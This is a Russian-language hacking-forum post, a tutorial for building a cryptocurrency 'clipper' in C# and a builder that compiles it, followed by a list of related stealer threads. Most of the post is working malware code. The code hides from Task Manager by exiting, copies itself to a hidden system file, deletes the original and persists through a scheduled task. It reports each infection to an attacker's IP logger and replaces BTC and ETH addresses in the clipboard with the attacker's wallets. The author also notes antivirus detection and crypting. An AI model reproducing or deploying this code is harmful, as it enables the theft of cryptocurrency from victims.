Биткоин стиллер на C#

  • Автор темы Eyecatcher
  • Дата начала
E

Eyecatcher

Доброго времени суток!

Клиппер - вредоносная программа, которая мониторит буффер обмена на наличие каких либо данных, и, в случае их нахождения, заменяет
на указанные. Таким образом, жертва может отправить деньги на кошелек злоумышленника.

В сегодняшней статье мы напишем клиппер на языке C#. Также в этой статье мы рассмотрим создание билдера малвари.


Билд

Алгоритм работы клиппера:
1) Проверяем, заражена ли система. Если нет, то копируемся в указанную папку, добавляемся в автозагрузку, стучим в логгер
2) Запускаем в отдельном потоке мониторинг процессов
3) Мониторим буффер обмена

Код можно писать прямо в блокноте тк позже мы добавим его в ресурсы билдера.

Функция мониторинга процессов. В случае обнаружения диспетчера задач закрывем приложение:
static void Monitor() {
while (true) {
try {
foreach(Process item in Process.GetProcesses())
if (item.ProcessName.ToLower() == "taskmgr" ||
item.ProcessName.ToLower() == "processhacker" ||
item.ProcessName.ToLower() == "procexp")
Environment.Exit(0);

Thread.Sleep(500);
} catch {}

}
}

Переходим к Main. Задаем путь к файлу:
string path = Environment.GetEnvironmentVariable("[path]") + "\\" + "[filename]";
[path], [filename] и проч. - значения, которые будут заменены билдером при компиляции.

Устанавливаем клиппер если он не установлен:
if (!File.Exists(path)) {
File.Copy(Assembly.GetEntryAssembly().Location, path);

// Самоудаление и добавление в планировщик заданий

ProcessStartInfo proc = new ProcessStartInfo();
proc.Arguments = "/C choice /C Y /N /D Y /T 3 & Del \"" + Assembly.GetEntryAssembly().Location + "\" & schtasks /create /tn \\" + Path.GetRandomFileName().Split('.')[0] + "\\" + Path.GetRandomFileName().Split('.')[0] + " /tr " + path + " /st 00:00 /du 9999:59 /sc daily /ri 1 /f";
proc.WindowStyle = ProcessWindowStyle.Hidden;
proc.CreateNoWindow = true;
proc.FileName = "cmd.exe";

// Ставим аттрибуты Скрытый и Системный на файл

File.SetAttributes(path, FileAttributes.Hidden | FileAttributes.System);

// Стучим в IPLogger

try {
HttpWebRequest http = (HttpWebRequest) WebRequest.Create("[iplogger]");
http.UserAgent = "New user!";
http.GetResponse();
} catch {}


Process.Start(proc);
Environment.Exit(0);

}

Запустим в новом потоке мониторинг процессов:
Thread th = new Thread(Monitor); // Чекаем процессы в отдельном потоке
th.Start();

Напишем цикл, отвечающий за подмену кошельков. Сверяем по Regex данные в буффере, и если там есть кошелек осуществляем замену. Для примера я использовал три кошелька (два BTC и один ETH), вы можете добавить свои.
while (true) {
string idat_old = string.Empty;
string idat = string.Empty;

Thread.Sleep(500);

try {
if (Clipboard.ContainsText()) {
idat = Clipboard.GetText();

if (idat != idat_old) {
// Ищем в clipboard адреса и если находим заменяем

if (new Regex("^1[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet1]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}
if (new Regex("^3[a-km-zA-HJ-NP-Z1-9]{25,34}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[btcwallet2]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
} else if (new Regex("^0x[a-fA-F0-9]{40}$").IsMatch(idat)) {
new Thread(() => {
Clipboard.SetText("[ethwallet]");
}) {
ApartmentState = ApartmentState.STA
}.Start();
}

idat_old = idat;
}
}
} catch {}

}


С клиппером закончили. Сохраняем код в txt файл. Переходим к билдеру.


Билдер

Алгоритм работы билдера:
1) Получаем указанные в полях кошельки
2) Заменяем их в исходнике клиппера
3) Компилируем исходник

Создаем проект WindowsForms. По-быстрому набросаем форму:
[IMG]


Переходим к коду. Добавим пару юзингов:
using Microsoft.CSharp;
using System.CodeDom.Compiler;
В обработчике кнопки пишем:
CompilerParameters Params = new CompilerParameters(); // Параметры компилируемой сборки
Params.IncludeDebugInformation = false;
Params.CompilerOptions = " /t:winexe /platform:x86";
Params.OutputAssembly = "build.exe";

Params.ReferencedAssemblies.Add("System.Windows.Forms.dll");
Params.ReferencedAssemblies.Add("System.dll");

string Source = Properties.Resources.Source;
Source = Source.Replace("[btcwallet1]", textBox1.Text); // Заменяем нужные значения в сурсе
Source = Source.Replace("[btcwallet2]", textBox2.Text);
Source = Source.Replace("[ethwallet]", textBox3.Text);
Source = Source.Replace("[path]", comboBox1.SelectedItem.ToString());
Source = Source.Replace("[filename]", textBox4.Text);
Source = Source.Replace("[iplogger]", textBox5.Text);


var settings = new Dictionary < string,
string > ();
settings.Add("CompilerVersion", "v4.0");

CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, Source);
if (Results.Errors.Count > 0) {

foreach(CompilerError err in Results.Errors)
MessageBox.Show(err.ToString()); //Вывод ошибок
}

MessageBox.Show("Done!", "Success");

Добавляем в ресурсы билдера сурс клиппера:

[IMG]



Компилируем билдер.

Детект билда: https://avcheck.net/id/oGkjgtdwEVdI
После крипта:

[IMG]


На этом все!

Исходники: https://github.com/onek1lo/SimpleClipper
 
Похожие темы
Support81 Биткоин выбирает смерть: почему BTC не подружится с квантовыми компьютерами Новости в сети 0
G "Грязный" биткоин. Где купить? Свободное общение 3
M MixBTC - анонимный биткоин-миксер с очень низкой комиссией Новости в сети 1
DOMINUS Президент Беларуси подписал указ о создании реестра биткоин-кошельков Новости в сети 0
DOMINUS Нигерия запретила банкам обслуживать биткоин-биржи Новости в сети 5
АнАлЬнАя ЧуПаКаБрА Биткоин кошелек B&C [OB 1.2.2] Готовый софт 1
L Интересно Платформа Wirex разрешила россиянам платить за биткоин банковской картой Новости в сети 1
L Интересно Роберт Кийосаки предсказал смерть экономики США и биткоин по $75 000 Новости в сети 2
L Интересно Банк Германии Bitwala первым запустил биткоин-депозиты с процентной ставкой 4.3% Новости в сети 0
L Интересно Когда биткоин обновит исторический максимум Новости в сети 0
L Интересно Хакеры КНДР усилили атаки на биткоин-компании и трейдеров Новости в сети 0
L Интересно Биткоин пережил сайт, первым объявившим о его «смерти» Новости в сети 0
АнАлЬнАя ЧуПаКаБрА INLINE Биткоин Сервис Готовый софт 0
L Интересно Спутниковая биткоин-сеть Blockstream заработала в 25 раз быстрее Новости в сети 0
L Интересно Майкл Новограц: «Telegram лучше внедрить биткоин и стейблкоины вместо TON» Новости в сети 0
L Интересно Данные показывают, что если биткоин прибавляет $1000 за сутки, то затем наступает коррекция Новости в сети 0
L Интересно Число биткоин-кошельков с балансом более 0,1 BTC впервые превысило 3 млн. Новости в сети 0
L Интересно Биткоин готовится к потенциальному прорыву около $7 200, но нужно быть внимательными Новости в сети 1
L Интересно Отчет Bloomberg: Биткоин становится цифровой версией золота в глазах инвесторов Новости в сети 0
L Интересно Аналитик Dave the Wave: «биткоин вырастет до $400 000 в долгосрочной перспективе» Новости в сети 0
L Интересно Американцы вкладывают свою дотацию $1200 от правительства США в биткоин Новости в сети 0
L Интересно Питер Шифф: «после уполовинивания никто не будет покупать биткоин» Новости в сети 0
L Интересно Биткоин-стартап Purse объявил о закрытии Новости в сети 0
B Биткоин клиппер на C# Программирование 0
A Binance запустит фьючерсные контракты на биткоин Новости в сети 0
A Биткоин это безопасно и анонимно? Анонимность и приватность 0
A Биткоин вырастет до 100000$? Новости в сети 0
АнАлЬнАя ЧуПаКаБрА INLINE Биткоин кран.Вроде вывод без валида. Готовый софт 1
АнАлЬнАя ЧуПаКаБрА INLINE Биткоин казино Готовый софт 0
АнАлЬнАя ЧуПаКаБрА MIX Большай пак игр, биткоин баз Раздачи и сливы 0
S Минфин предлагает приравнять биткоин к товару Новости в сети 0
Admin Статья Браузерные расширения — идеальный шпион: Стиллер паролей на JavaScript, который невозможно заметить Вирусология 0
P Есть ли бесплатный стиллер? Можно стиллер с чем-то. Свободное общение 0
D Возможно ли засунуть стиллер в dll файл? Свободное общение 1
L Интересно Java - Стиллер паролей в Minecraft моде Программирование 8
L Интересно C# - Динамическая загрузка DLL (пишем стиллер в 9кб) Программирование 4
S Интересно Свой мини-рат на python + стиллер хрома v80 Готовый софт 8
R Интересно AZORULT 3.3.1 стиллер с другова Форума Готовый софт 5
S Стиллер всякого на VBS Программирование 1
M USB флешка-стиллер своими руками Программирование 1
J Стиллер паролей с отправкой по почте. Вирусология 5
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
A Залив инсталлов на собственный стиллер и работа с логами. Способы заработка 0
T Есть стиллер,нужен напарник для распространения Свободное общение 2
T Получаем доступ к FTP через стиллер Полезные статьи 0
J Нужен стиллер Свободное общение 0
Traven Пишем свой стиллер на Python Программирование 5
A [ГАЙД]Делаем простецкий стиллер своими руками Полезные статьи 5
O Пишем стиллер на Batch Вирусология 15
M [USB]Стиллер или флешка ВОР) Готовый софт 40

Название темы